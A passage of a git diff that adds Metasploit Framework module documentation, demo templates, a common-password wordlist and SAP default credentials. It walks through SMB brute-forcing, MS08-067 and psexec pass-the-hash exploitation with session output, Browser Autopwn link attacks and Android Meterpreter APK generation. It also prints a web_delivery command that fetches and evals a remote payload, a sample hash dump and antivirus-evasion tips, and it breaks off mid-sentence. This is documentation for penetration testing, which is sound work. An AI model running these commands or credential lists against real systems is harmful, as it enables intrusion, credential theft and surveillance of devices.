+ color: #d14; +} + +pre .comment { + color: #998; + font-style: italic; +} + +pre .function .title { + color: #900; +} + +pre .class { + color: #458; +} + +pre .id, +pre .pseudo, +pre .constant, +pre .hexcolor { + color: teal; +} + +pre .variable { + color: #336699; +} + +pre .javadoc { + color: #997700; +} + +pre .pi, +pre .doctype { + color: #3344bb; +} + +pre .number { + color: #099; +} + +pre .important { + color: #f00; +} + +pre .label { + color: #970; +} + +pre .preprocessor { + color: #579; +} + +pre .reserved, +pre .keyword, +pre .scss .value { + color: #000; +} + +pre .regexp { + background-color: #fff0ff; + color: #880088; +} + +pre .symbol { + color: #990073; +} + +pre .symbol .string { + color: #a60; +} + +pre .tag { + color: #007700; +} + +pre .at_rule, +pre .at_rule .keyword { + color: #088; +} + +pre .at_rule .preprocessor { + color: #808; +} + +pre .scss .tag, +pre .scss .attribute { + color: #339; +} \ No newline at end of file diff --git a/data/markdown_doc/payload_demo_template.erb b/data/markdown_doc/payload_demo_template.erb new file mode 100644 index 0000000000..ff6620a3aa --- /dev/null +++ b/data/markdown_doc/payload_demo_template.erb @@ -0,0 +1,8 @@ +``` +msf > use <%= mod.fullname %> +msf <%= mod.type %>(<%= mod.shortname %>) > show options + ... show and set options ... +msf <%= mod.type %>(<%= mod.shortname %>) > generate +``` + +To learn how to generate <%= mod.fullname %> with msfvenom, please [read this](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom). \ No newline at end of file diff --git a/data/markdown_doc/post_demo_template.erb b/data/markdown_doc/post_demo_template.erb new file mode 100644 index 0000000000..a934269b06 --- /dev/null +++ b/data/markdown_doc/post_demo_template.erb @@ -0,0 +1,44 @@ +There are two ways to execute this post module. + +**From the Meterpreter prompt** + +The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post +module against that specific session: + +``` +meterpreter > run <%= mod.fullname %> +``` + +**From the msf prompt** + +The second is by using the "use" command at the msf prompt. You will have to figure out which +session ID to set manually. To list all session IDs, you can use the "sessions" command. + + +``` +msf > use <%= mod.fullname %> +msf <%= mod.type %>(<%= mod.shortname %>) > show options + ... show and set options ... +msf <%= mod.type %>(<%= mod.shortname %>) > set SESSION session-id +msf <%= mod.type %>(<%= mod.shortname %>) > exploit +``` + +If you wish to run the post against all sessions from framework, here is how: + +1 - Create the following resource script: + +``` + +framework.sessions.each_pair do |sid, session| + run_single("use <%= mod.fullname %>") + run_single("set SESSION #{sid}") + run_single("run") +end + +``` + +2 - At the msf prompt, execute the above resource script: + +``` +msf > resource path-to-resource-script +``` \ No newline at end of file diff --git a/data/markdown_doc/remote_exploit_demo_template.erb b/data/markdown_doc/remote_exploit_demo_template.erb new file mode 100644 index 0000000000..ea72c5480f --- /dev/null +++ b/data/markdown_doc/remote_exploit_demo_template.erb @@ -0,0 +1,99 @@ +**Using <%= mod.shortname %> against a single host** + +Normally, you can use <%= mod.fullname %> this way: + +``` +msf > use <%= mod.fullname %> +msf <%= mod.type %>(<%= mod.shortname %>) > show targets + ... a list of targets ... +msf <%= mod.type %>(<%= mod.shortname %>) > set TARGET target-id +msf <%= mod.type %>(<%= mod.shortname %>) > show options + ... show and set options ... +msf <%= mod.type %>(<%= mod.shortname %>) > exploit +``` + +**Using <%= mod.shortname %> against multiple hosts** + +But it looks like this is a remote exploit module, which means you can also engage multiple hosts. + +First, create a list of IPs you wish to exploit with this module. One IP per line. + +Second, set up a background payload listener. This payload should be the same as the one your +<%= mod.shortname %> will be using: + +1. Do: ```use exploit/multi/handler``` +2. Do: ```set PAYLOAD [payload]``` +3. Set other options required by the payload +4. Do: ```set EXITONSESSION false``` +5. Do: ```run -j``` + +At this point, you should have a payload listening. + +Next, create the following script. Notice you will probably need to modify the ip_list path, and +payload options accordingly: + +``` +<ruby> +# +# Modify the path if necessary +# +ip_list = '/tmp/ip_list.txt' + +File.open(ip_list, 'rb').each_line do |ip| + print_status("Trying against #{ip}") + run_single("use <%= mod.fullname %>") + run_single("set RHOST #{ip}") + run_single("set DisablePayloadHandler true") + + # + # Set a payload that's the same as the handler. + # You might also need to add more run_single commands to configure other + # payload options. + # + run_single("set PAYLOAD [payload name]") + + run_single("run") +end +</ruby> +``` + +Next, run the resource script in the console: + +``` +msf > resource [path-to-resource-script] +``` + +And finally, you should see that the exploit is trying against those hosts similar to the following +MS08-067 example: + +``` +msf > resource /tmp/exploit_hosts.rc +[*] Processing /tmp/exploit_hosts.rc for ERB directives. +[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes) +[*] Trying against 192.168.1.80 + +RHOST => 192.168.1.80 +DisablePayloadHandler => true +PAYLOAD => windows/meterpreter/reverse_tcp +LHOST => 192.168.1.199 + +[*] 192.168.1.80:445 - Automatically detecting the target... +[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English +[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX) +[*] 192.168.1.80:445 - Attempting to trigger the vulnerability... +[*] Sending stage (957999 bytes) to 192.168.1.80 +[*] Trying against 192.168.1.109 +RHOST => 192.168.1.109 +DisablePayloadHandler => true +PAYLOAD => windows/meterpreter/reverse_tcp +LHOST => 192.168.1.199 +[*] 192.168.1.109:445 - Automatically detecting the target... +[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown +[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English +[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX) +[*] 192.168.1.109:445 - Attempting to trigger the vulnerability... +[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600 + +[*] Sending stage (957999 bytes) to 192.168.1.109 +[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600 +``` diff --git a/data/wordlists/adobe_top100_pass.txt b/data/wordlists/adobe_top100_pass.txt new file mode 100644 index 0000000000..f7d2a744be --- /dev/null +++ b/data/wordlists/adobe_top100_pass.txt @@ -0,0 +1,100 @@ +123456 +123456789 +password +adobe123 +12345678 +qwerty +1234567 +111111 +photoshop +123123 +1234567890 +000000 +abc123 +1234 +adobe1 +macromedia +azerty +iloveyou +aaaaaa +654321 +12345 +666666 +sunshine +123321 +letmein +monkey +asdfgh +password1 +shadow +princess +dragon +adobeadobe +daniel +computer +michael +121212 +charlie +master +superman +qwertyuiop +112233 +asdfasdf +jessica +1q2w3e4r +welcome +1qaz2wsx +987654321 +fdsa +753951 +chocolate +fuckyou +soccer +tigger +asdasd +thomas +asdfghjkl +internet +michelle +football +123qwe +zxcvbnm +dreamweaver +7777777 +maggie +qazwsx +baseball +jennifer +jordan +abcd1234 +trustno1 +buster +555555 +liverpool +abc +whatever +11111111 +102030 +123123123 +andrea +pepper +nicole +killer +abcdef +hannah +test +alexander +andrew +222222 +joshua +freedom +samsung +asdfghj +purple +ginger +123654 +matrix +secret +summer +1q2w3e +snoopy1 diff --git a/data/wordlists/sap_default.txt b/data/wordlists/sap_default.txt index 3f7a5321c3..752eb03d2b 100644 --- a/data/wordlists/sap_default.txt +++ b/data/wordlists/sap_default.txt @@ -16,4 +16,12 @@ SAPJSF ch4ngeme SAPR3 SAP CTB_ADMIN sap123 XMI_DEMO sap123 - +IDEADM admin +SMD_ADMIN init1234 +SMD_BI_RFC init1234 +SMD_RFC init1234 +SOLMAN_ADMIN init1234 +SOLMAN_BTC init1234 +SAPSUPPORT init1234 +CONTENTSERV init1234 +SMD_AGT init1234 diff --git a/documentation/modules/auxiliary/scanner/http/tomcat_mgr_login.md b/documentation/modules/auxiliary/scanner/http/tomcat_mgr_login.md new file mode 100644 index 0000000000..9db11819dd --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/tomcat_mgr_login.md @@ -0,0 +1,41 @@ +The auxiliary/scanner/http/tomcat_mgr_login works for Tomcat versions that uses HTTP +authentication. + +Please note that for Tomcat 7 or newer, the roles required to use the manager application were +changed from the single manager role to the following four roles: + +* manager-gui - Allows access to the HTML GUI and the status pages. +* manager-script - Allows access to the text interface and the status pages. +* manager-jmx - Allows access to the JMX and the status pages. +* manager-status - allows access to the status pages only. + +Older versions of Tomcat came with default passwords enabled by default. For example: + +**Tomcat 4** + +| Username | Password | Role | +| -------- | -------- | ------------- | +| tomcat | tomcat | tomcat | +| role1 | tomcat | role1 | +| both | tomcat | tomcat, role1 | + +**Tomcat 5** + +Same as Tomcat 4 + +Newer Tomcat versions have these passwords commented out. + +If you are using the default Metasploit credential lists, these usernames and passwords are already +loaded. + + +## Vulnerable Application + +To download the vulnerable application, you can find it here: https://tomcat.apache.org/whichversion.html. + +## Verification Steps + +1. Do: ```auxiliary/scanner/http/tomcat_mgr_login``` +2. Do: ```set RHOSTS [IP]``` +3. Set TARGETURI if necessary. +4. Do: ```run``` diff --git a/documentation/modules/auxiliary/scanner/smb/smb_login.md b/documentation/modules/auxiliary/scanner/smb/smb_login.md new file mode 100644 index 0000000000..b2f9b7903a --- /dev/null +++ b/documentation/modules/auxiliary/scanner/smb/smb_login.md @@ -0,0 +1,117 @@ +The smb_login module is used to bruteforce SMB remotely. SMB credentials are extra valuable because they are system credentials, and you can probably reuse some of them to log in to more machines. + +## Vulnerable Application + +To use smb_login, make sure you are able to connect to a SMB service that supports SMBv1. + +## Verification Steps + +The following demonstrates a basic scenario of using the [built-in wordlists](https://github.com/rapid7/metasploit-framework/tree/master/data/wordlists) to brute-force SMB: + +``` +msf > use auxiliary/scanner/smb/smb_login +msf auxiliary(smb_login) > set RHOSTS 192.168.1.80 +RHOSTS => 192.168.1.80 +msf auxiliary(smb_login) > set USER_FILE /Users/wchen/rapid7/msf/data/wordlists/unix_users.txt +USER_FILE => /Users/wchen/rapid7/msf/data/wordlists/unix_users.txt +msf auxiliary(smb_login) > set PASS_FILE /Users/wchen/rapid7/msf/data/wordlists/unix_passwords.txt +PASS_FILE => /Users/wchen/rapid7/msf/data/wordlists/unix_passwords.txt +msf auxiliary(smb_login) > run + +[+] 192.168.1.80:445 - 192.168.1.80:445 SMB - Success: '.\root:monkey' Administrator +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +msf auxiliary(smb_login) > +``` + +If you have a database connected, you should also see this credential logged: + +``` +msf auxiliary(smb_login) > creds +Credentials +=========== + +host origin service public private realm private_type +---- ------ ------- ------ ------- ----- ------------ +192.168.1.80 192.168.1.80 445/tcp (smb) root monkey Password + +msf auxiliary(smb_login) +``` + +## Options + +By default, the smb_login module only requires the RHOSTS option to run. But in reality, you will +also need to supply user names and passwords. The following options are available to support +different credential formats: + +**The USER_FILE option** + +If you happen to manage all the found user names in a separate file, then this option would be +suitable for that. One per line. + +An example of setting USER_FILE: + +``` +set USER_FILE [path to file] +``` + +**The PASS_FILE option** + +If you happen to manage all the found passwords in a separate file, then this option would be +suitable for that. One per line. + +``` +set PASS_FILE [path to file] +``` + +**The USERPASS_FILE option** + +If each user should be using a specific password in your file, then you can use this option. One +username/password per line: + +``` +set USERPASS_FILE [path to file] +``` + +**The DB_ALL_CREDS option** + +This option allows you to reuse all the user names and passwords collected by the database: + +``` +set DB_ALL_CREDS true +``` + +**The DB_ALL_PASS option** + +This option allows you to reuse all the passwords collected by the database. + +``` +set DB_ALL_PASS true +``` + +**The DB_ALL_USERS option** + +This option allows you to reuse all the user names collected by the database. + +``` +set DB_ALL_USERS true +``` + +**The SMBUser option** + +If you are testing a specific user, use this option. + +``` +set SMBUser [user name] +``` + +**The SMBPass option** + +If you are testing a specific password, use this option. + +``` +set SMBPass [password] +``` + +Note: If an account has been successfully brute-forced, that account will not be tried again. + diff --git a/documentation/modules/auxiliary/server/browser_autopwn2.md b/documentation/modules/auxiliary/server/browser_autopwn2.md new file mode 100644 index 0000000000..c09b71ff47 --- /dev/null +++ b/documentation/modules/auxiliary/server/browser_autopwn2.md @@ -0,0 +1,176 @@ +Browser Autopwn 2 is a complete redesign from the first one, so quite a few things will look and +feel different for you. Here are the features you should know about before using. + +## Vulnerable Applications + +Browser Autopwn 2 is capable of targeting popular browsers and 3rd party plugins, such as: + +* Internet Explorer +* Mozilla Firefox +* Adobe Flash +* Java +* ActiveX +* Silverlight + +## Exploit URLs + +Normally, the only URL you need to care about is the **BrowserAutoPwn URL**. This is the URL +you should send to the targets you wish to attack. + +For debugging purposes, you can also see each browser exploit's specific URL path. You can do so +by setting the VERBOSE option to true in msfconsole, like this: + +``` +set VERBOSE true +``` + +And then when you run the module, there will be a list showing all the exploits that might be +used, including the URLs. + +## Browser Autopwn 2 Options + +**The HTMLContent Option** + +The HTMLContent option allows you to serve a basic HTML web page to the browser instead of having a +blank one. It supports two syntaxes. + +This example will basically print "Hello world!" on the browser while exploits are tested against +it. + +``` +set HTMLContent Hello world! +``` + +This example will load file /tmp/hello_world.html and that's what the browser will see. Most likely +the second syntax is how you'd want to use the Content option. + +Keep in mind that you should probably try to keep HTMLContent as simple as possible, otherwise +there is a possibility that it might actually influence the reliability of the exploits, especially +the ones that do memory corruption. + +**The EXCLUDE_PATTERN option** + +The EXCLUDE_PATTERN option is used for excluding exploit file names you don't want Browser +Autopwn 2 to use. This is a regex type option, you can be creative about this. + +For example, Adobe Flash exploits in Metasploit tend to have the same file name that begins with: +"adobe_flash_", so to exclude those, you can do: + +``` +set EXCLUDE_PATTERN adobe_flash +``` + +**The INCLUDE_PATTERN option** + +The INCLUDE_PATTERN option is for loading specific exploits that you want Browser Autopwn 2 to use. +Let's reuse the Adobe Flash file name example, if you only want Flash exploits, you can do: + +``` +set INCLUDE_PATTERN adobe_flash +``` + +If you set both INCLUDE_PATTERN and EXCLUDE_PATTERN, the evaluation for INCLUDE_PATTERN will kick +in first, followed by EXCLUDE_PATTERN. + +**The MaxExploitCount option** + +The MaxExploitCount option is for specifying how many exploits you want Browser Autopwn 2 to load. +By default, it's 21. But you can try to bump it up a little bit if you wish to try more exploits. +Note that by doing so you are also allowing more lower ranking modules to kick in, you will have +to figure out the sweet spot for it. An example of setting it: + +``` +set MaxExploitCount 30 +``` + +**The MaxSessionCount option** + +The MaxSessionCount option is for limiting how many sessions to get. It may sound a little odd at +first because why would you want to do that, right? Well, a use case for this is when you don't +actually want to pop shells, instead you just want to know what exploits could be used, this is +something you can try. You can also use this if you don't want your attack to stay open the whole +time: + +``` +set MaxSessionCount 10 +``` + +**The ShowExploitList option** + +The ShowExploitList option means displaying a list of exploits specific to each browser/client. +As we've explained before, when BAP2 loads 21 exploits, probably not all 21 will be served to +the browser, only some of them. In order to see those ones, you need to set this option: + +``` +set ShowExploitList true +``` + +**The AllowedAddresses option** + +The AllowedAddresses option is for attacking a specific range of IPs as a way to avoid penetration +testing accidents. For example, when you send a malicious link to a specific person, that person +may actually share it with his friends, family or other people, and those people aren't your +targets so you shouldn't hit them. Well, Browser Autopwn doesn't know that, so one of the ways to +avoid that is to create a whitelist. + +The option also supports two syntaxes. This is most likely how you will set it: + +``` +set AllowedAddresses file:///tmp/ip_list.txt +``` + +The above will load file ip_list.txt. In that file, one IP per line. + + +**The ExploitReloadTimeout option** + +The ExploitReloadTimeout is for setting how long BAP2 should wait before loading the next exploit. +By default, it's 3 seconds, but in case some exploits need more time (for example, longer time to +groom the heap, load other things, or it's doing a sleep somewhere), you will need to set this. +In most cases, you shouldn't have to. + +Here's an example of setting it to 5 seconds: + +``` +set ExploitReloadTimeout 5000 +``` + +## Scenarios + +By default, Browser Autopwn 2 goes through the entire exploit module tree, and will try to use +different types of exploits - Firefox, Internet Explorer, Adobe Flash, Android, etc. If you want to +test a specific application, basically all you need to do is setting the +INCLUDE_PATTERN option (or maybe EXCLUDE_PATTERN). + +However, there is another trick to make this task even easier. BAP2 also comes with the following +resource scripts that can automatically do this: + +* bap_firefox_only.rc - For testing Firefox +* bap_flash_only.rc - Fore testing Adobe Flash +* bap_ie_only.rc - For testing Internet Explorer +* bap_dryrun_only.rc - Rickrolls the target, and shows you all the suitable exploits against that target. No exploits will actually be fired. + +Here's an example of using bap_flash_only.rc to test Adobe Flash vulnerabilities: + +``` +$ ./msfconsole -q -r scripts/resource/bap_flash_only.rc +``` + +## Logging + +In addition, when a browser connects to BAP, this link-clicking event is also logged to the +database as a "bap.clicks" note type. If the ShowExploitList option is set to true, that will also +save the exploit list information so that after testing you can go back to the database and see +which users are vulnerable to what exploits. + +Even if you don't set the ShowExploitList option, the logged link-clicking event data is more than +enough to prove that the user was social-engineered, which is still a security risk. + +To see all the bap.clicks events, in msfconsole do: + +``` +notes -t bap.clicks +``` + +From there, you can do additional analysis of these notes, put it on your report, and hopefully +do something about it. diff --git a/documentation/modules/exploit/multi/script/web_delivery.md b/documentation/modules/exploit/multi/script/web_delivery.md new file mode 100644 index 0000000000..91c213f82d --- /dev/null +++ b/documentation/modules/exploit/multi/script/web_delivery.md @@ -0,0 +1,76 @@ +As a web server, the web_delivery module provides a stealthy way to deliver a payload during post exploitation because the payload does not touch the disk. + +Currently, web_delivery supports three different languages for delivery: Python, PHP, and +Powershell. You should be able to tell which one you can use based on the target environment +you are in. + +For example, if you gained access through a PHP application, it's safe to assume you can use PHP. If you're in a Windows server, such as Windows Server 2008, then it's probably safe to say the target supports Powershell. + +## Verification Steps + +To be able to use the web_delivery module, you must gain access to the target machine first, with the ability to execute either the Python, or PHP, or Powershell interpreter. + +At that point, you would use the web_delivery module like in the following example: + +1. Start msfconsole +2. Run: ```use exploit/multi/script/web_delivery``` +3. Run: ```set target 1``` (1 is PHP. You can use ```show targets``` to see other options) +4. Run: ```set PAYLOAD php/meterpreter/reverse_tcp``` (You can do ```show payloads``` to see what options are suitable for the target) +5. Run: ```set LHOST IP``` (The IP the payload should connect back to) +6. Do: ```run``` +7. At this point, a handler is up for that payload, and the module should instruct you to execute a command. +8. Copy the command. Depending on your pentesting scenario, you can either inject the + command and get code execution, or run it from the target's shell and get a session: + +``` +msf exploit(web_delivery) > run +[*] Exploit running as background job. + +[*] Started reverse TCP handler on 172.16.23.1:4444 +msf exploit(web_delivery) > [*] Using URL: http://0.0.0.0:8080/z5inGkwCCQiz9 +[*] Local IP: http://10.6.0.86:8080/z5inGkwCCQiz9 +[*] Server started. +[*] Run the following command on the target machine: +php -d allow_url_fopen=true -r "eval(file_get_contents('http://172.16.23.1:8080/z5inGkwCCQiz9'));" +[*] Delivering Payload +[*] Sending stage (33684 bytes) to 172.16.23.134 +[*] Meterpreter session 1 opened (172.16.23.1:4444 -> 172.16.23.134:41684) at 2016-03-02 11:41:34 -0600 +``` + +## Targets + +**Python** + +Python is a fairly popular language, especially on Unix-based systems. By default, it has come with Ubuntu Linux since 8.04, as well as Debian, and Mac OS X since 10.3. + +**PHP** + +PHP is a fairly popular language for web servers, especially Apache. + +**Powershell/Windows** + +Powershell is a popular language for newer Windows systems. Windows 7 and Windows Server 2008 R2 +are the first Windows versions to come with Powershell by default. Older Windows systems such as XP +don't come with it by default, but it is still possible to see it installed on a corporate network. + +## Scenarios + +**Against a compromised web application** + +web_delivery would work nicely for a web application with a command execution vulnerability. + +One way to approach this would be: + +1. Start exploit/multi/script/web_delivery +2. Use [Burp Suite](https://portswigger.net/burp/) to intercept the HTTP/HTTPS request, place the command in the parameter that results in arbitrary code execution. +3. Hopefully the modified HTTP/HTTPS request is successful, and you should get a session. + +**Shell upgrade** + +web_delivery is also useful to upgrade a shell type payload to a Meterpreter one. + +Here's how that can be done: + +1. Start exploit/multi/script/web_delivery that generates/ +2. In msfconsole, interact with the shell, and copy/paste the command. +3. You should get a Meterpreter session. diff --git a/documentation/modules/exploit/windows/smb/ms08_067_netapi.md b/documentation/modules/exploit/windows/smb/ms08_067_netapi.md new file mode 100644 index 0000000000..6af5b746ad --- /dev/null +++ b/documentation/modules/exploit/windows/smb/ms08_067_netapi.md @@ -0,0 +1,59 @@ +ms08_067_netapi is one of the most popular remote exploits against Microsoft Windows. It is +considered a reliable exploit, and allows you to gain access as SYSTEM - the highest Windows +privilege. In modern day penetration test, this exploit would most likely be used in an internal +environment, and not so much from external due to the likelihood of a firewall. + +The check command of ms08_067_netapi is also highly accurate, because it is actually testing the +vulnerable code path, not just passively. + + +## Vulnerable Application + +This exploit works against a vulnerable SMB service from one of these Windows systems: + +* Windows 2000 +* Windows XP +* Windows 2003 + +To reliability determine whether the machine is vulnerable, you will have to either examine +the system's patch level, or use a vulnerability check. + +## Verification Steps + +Please see Basic Usage under Overview. + +## Options + +Please see Required Options under Overview. + +## Scenarios + +**Failure to detect the language pack** + +On some Windows systems, ms08_067_netapi (as well as other SMB modules) might show you this +message: + + +> Windows 2003 R2 Service Pack 2 - lang:Unknown + + +This is because the targeted system does not allow itself to be enumerated without authentication. +In this case, either you can set the username and password to be able to use automatic detection, +like this: + +``` +set SMBUSER [username] +set SMBPASS [password] +``` + +Or you must manually set the target with the correct language, for example: + +``` +set target [target ID] +``` + +**Unsafe configuration of LHOST** + +Although ms08_067_netapi is reliable enough for a memory corruption exploit, it has its own +denial-of-service moments. One scenario is when the LHOST option is incorrectly configured, +which could result the SMB to crash. diff --git a/documentation/modules/exploit/windows/smb/psexec.md b/documentation/modules/exploit/windows/smb/psexec.md new file mode 100644 index 0000000000..de541f95b7 --- /dev/null +++ b/documentation/modules/exploit/windows/smb/psexec.md @@ -0,0 +1,120 @@ +psexec is one of the most popular exploits against Microsoft Windows. It is a great way to test password security and demonstrate how a stolen password could lead to a complete compromise of an entire corporate network. + +The Metasploit Framework actually includes different module types of psexec for different scenarios. exploit/windows/smb/psexec is the father of them all and is used the same way +you normally would with any Metasploit exploits. + + +## Vulnerable Application + +To be able to use exploit/windows/smb/psexec: + +1. You must have a valid username/password. +2. The firewall must allow SMB traffic. +3. The target must use SMBv1. +4. The remote Windows machine's network security policy must allow it. If you see [one of these errors](https://github.com/rapid7/metasploit-framework/wiki/What-does-my-Rex%3A%3AProto%3A%3ASMB-Error-mean%3F), then the Windows machine does not allow it. + +## Verification Steps + +At the minimum, you should be able use psexec to get a session with a valid credential using the following: + +``` +msf > use exploit/windows/smb/psexec +msf exploit(psexec) > set RHOST 192.168.1.80 +RHOST => 192.168.1.80 +msf exploit(psexec) > set SMBUser Administrator +SMBUser => Administrator +msf exploit(psexec) > set SMBPass goodpass +SMBPass => goodpass +msf exploit(psexec) > exploit + +[*] Started reverse TCP handler on 192.168.1.199:4444 +[*] 192.168.1.80:445 - Connecting to the server... +[*] 192.168.1.80:445 - Authenticating to 192.168.1.80:445 as user 'Administrator'... +[*] 192.168.1.80:445 - Selecting native target +[*] 192.168.1.80:445 - Uploading payload... +[*] 192.168.1.80:445 - Created \PTIhqIrQ.exe... +[+] 192.168.1.80:445 - Service started successfully... +[*] 192.168.1.80:445 - Deleting \PTIhqIrQ.exe... +[*] Sending stage (957999 bytes) to 192.168.1.80 +[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1042) at 2016-03-01 16:51:56 -0600 + +meterpreter > +``` + +## Options + +By default, using exploit/windows/smb/psexec can be as simple as setting the RHOST option, and you're ready to go. But in reality, you will probably need to at least configure: + +**The SMBUser Option** + +This is a valid Windows username. + +**The SMBPass option** + +This can be either the plain text version or the Windows hash. + +## Scenarios + + +**Pass the Hash** + +One common penetration testing scenario using psexec is that attackers usually begin by breaking into a box, dumping the hashes, and using some of those hashes to log into other boxes on the network using psexec. So in that scenario, with the following stolen hash: + +``` +meterpreter > hashdump +Administrator:500:e39baff0f2c5fd4e93e28745b8bf4ba6:f4974ee4a935ee160a927eafbb3f317f::: +``` + +You can simply copy and paste it to the SMBPass option in psexec and get a session without needing to crack the hash: + +``` +msf > use exploit/windows/smb/psexec +msf exploit(psexec) > set SMBUser Administrator +SMBUser => Administrator +msf exploit(psexec) > set SMBPass e39baff0f2c5fd4e93e28745b8bf4ba6:f4974ee4a935ee160a927eafbb3f317f +SMBPass => e39baff0f2c5fd4e93e28745b8bf4ba6:f4974ee4a935ee160a927eafbb3f317f +msf exploit(psexec) > set RHOST 192.168.1.80 +RHOST => 192.168.1.80 +msf exploit(psexec) > exploit + +[*] Started reverse TCP handler on 192.168.1.199:4444 +[*] 192.168.1.80:445 - Connecting to the server... +[*] 192.168.1.80:445 - Authenticating to 192.168.1.80:445 as user 'Administrator'... +[*] 192.168.1.80:445 - Selecting native target +[*] 192.168.1.80:445 - Uploading payload... +[*] 192.168.1.80:445 - Created \QpxKDHyG.exe... +[+] 192.168.1.80:445 - Service started successfully... +[*] 192.168.1.80:445 - Deleting \QpxKDHyG.exe... +[*] Sending stage (957999 bytes) to 192.168.1.80 +[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1043) at 2016-03-01 17:02:46 -0600 + +meterpreter > +``` + +**Automatic Target** + +There are multiple targets available for exploit/windows/smb/psexec. The Automatic target is the default target. If the Automatic target detects Powershell on the remote machine, it will try Powershell, otherwise it uses the natvie upload. Each target is explained below. + +**Powershell Target** + +The Powershell target forces the psexec module to run a Powershell command with a payload embedded in it. Since this approach does not leave anything on disk, it is a very powerful way to evade antivirus. However, older Windows machines might not support Powershell by default. + +Because of this, you will probably want to use the Automatic target setting. The automatic mode will check if the target supports Powershell before it tries it; the manually set Powershell target won't do that. + +**Native Upload Target** + +The Native target will attempt to upload the payload (executable) to SYSTEM32 (which can be modified with the +SHARE datastore option), and then execute it with psexec. + +This approach is generally reliable, but has a high chance of getting caught by antivirus on the target. To counter this, you can try to use a template by setting the EXE::Path and EXE::Template datastore options. Or, you can supply your own custom EXE by setting the EXE::Custom option. + +**MOF Upload Target** + +The [MOF](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-WbemExec-for-a-write-privilege-attack-on-Windows) target technically does not use psexec; it does not explicitly tell Windows to execute anything. All it does is upload two files: the payload (exe) in SYSTEM32 and a managed object +format file in SYSTEM32\wbem\mof\ directory. When Windows sees the MOF file in that directory, it automatically runs it. Once executed, the code inside the MOF file basically tells Windows to execute our payload in SYSTEM32, and you get a session. + +Although it's a neat trick, Metasploit's MOF library only works against Windows XP and Windows Server 2003. And since it writes files to disk, there is also a high chance of getting +caught by antivirus on the target. + +The best way to counter antivirus is still the same. You can either use a different template by setting the EXE::Path and EXE::Template datastore options or you can supply your own custom EXE by setting the EXE::Custom option. + diff --git a/documentation/modules/module_doc_template.md b/documentation/modules/module_doc_template.md new file mode 100644 index 0000000000..aa1e134161 --- /dev/null +++ b/documentation/modules/module_doc_template.md @@ -0,0 +1,41 @@ +The following is the recommended format for module documentation. +But feel free to add more content/sections to this. + + +## Vulnerable Application + + Instructions to get the vulnerable application. + +## Verification Steps + + Example steps in this format: + + 1. Install the application + 2. Start msfconsole + 3. Do: ```use [module path]``` + 4. Do: ```run``` + 5. You should get a shell. + +## Options + + **Option name** + + Talk about what it does, and how to use it appropriately. + +## Scenarios + + Specific demo of using the module that might be useful in a real world scenario. + + ``` + code or console output + ``` + + For example: + + To do this specific thing, here's how you do it: + + ``` + msf > use module_name + msf auxiliary(module_name) > set POWERLEVEL >9000 + msf auxiliary(module_name) > exploit + ``` \ No newline at end of file diff --git a/documentation/modules/payload/android/meterpreter/reverse_tcp.md b/documentation/modules/payload/android/meterpreter/reverse_tcp.md new file mode 100644 index 0000000000..cde18f507f --- /dev/null +++ b/documentation/modules/payload/android/meterpreter/reverse_tcp.md @@ -0,0 +1,457 @@ +The android/meterpreter/reverse_tcp payload is a Java-based Meterpreter that can be used on an +Android device. It is still at an early stage of development, but there are so many things you can +do with it already. + +The Android Meterpreter allows you to do things like take remote control the file system, listen to phone calls, retrieve or send SMS messages, geo-locate the user, run post-exploitation modules, etc. + +## Vulnerable Application + +You can test android/meterpreter/reverse_tcp on these devices: + +**Android Emulator** + +An emulator is the most convenient way to test Android Meterpreter. You can try: + +* [Android SDK](http://developer.android.com/sdk/index.html#Other) - Creates and manages your emulators from a command prompt or terminal. +* [Android Studio](http://developer.android.com/sdk/installing/index.html?pkg=studio) - Allows you to manage emulators more easily than the SDK. +* [GenyMotion](https://www.genymotion.com/download/) - Requires an account. +* [AndroidAVDRepo](https://github.com/dral3x/AndroidAVDRepo) - Contains a collection of pre-configured emulators. + + +**A real Android device** + +Having a real Android device allows you to test features or vulnerabilities you don't necessarily +have from an emulator, which might be specific to a manufacturer, carrier, or hardware. You also +get to test it over a real network. + + +## Verification Steps + +Currently, the most common way to use Android Meterpreter is to create it as an APK, and then +execute it. + +To create the APK with msfconsole: + +``` +msf > use payload/android/meterpreter/reverse_tcp +msf payload(reverse_tcp) > set LHOST 192.168.1.199 +LHOST => 192.168.1.199 +msf payload(reverse_tcp) > generate -t raw -f /tmp/android.apk +[*] Writing 8992 bytes to /tmp/android.apk... +msf payload(reverse_tcp) > +``` + +To create the APK with msfvenom: + +``` +./msfvenom -p android/meterpreter/reverse_tcp LHOST=[IP] LPORT=4444 -f raw -o /tmp/android.apk +``` + +Next, start an Android device. Upload the APK, and execute it. There are different ways to do this, +so please refer to the Scenarios section for more information. + +## Important Basic Commands + +**pwd** + +The ```pwd``` command allows you to see the current directory you're in. + +``` +meterpreter > pwd +/data/data/com.metasploit.stage +``` + +**cd** + +The ```cd``` command allows you to change directory. For example: + +``` +meterpreter > cd cache +meterpreter > ls +``` + +**cat** + +The ```cat``` command allows you to see the contents of a file. + +**ls** + +The ```ls``` command displays items in a directory. For example: + +``` +meterpreter > ls +Listing: /data/data/com.metasploit.stage/files +============================================== + +Mode Size Type Last modified Name +---- ---- ---- ------------- ---- +100444/r--r--r-- 0 fil 2016-03-08 14:56:08 -0600 rList-com.metasploit.stage.MainActivity +``` + +**upload** + +The ```upload``` command allows you to upload a file to the remote target. The ```-r``` option +allows you to do so recursively. + +**download** + +The ```download``` command allows you to download a file from the remote target. The ```-r``` +option allows you to do so recursively. + +**search** + +The ```search``` command allows you to find files on the remote target. For 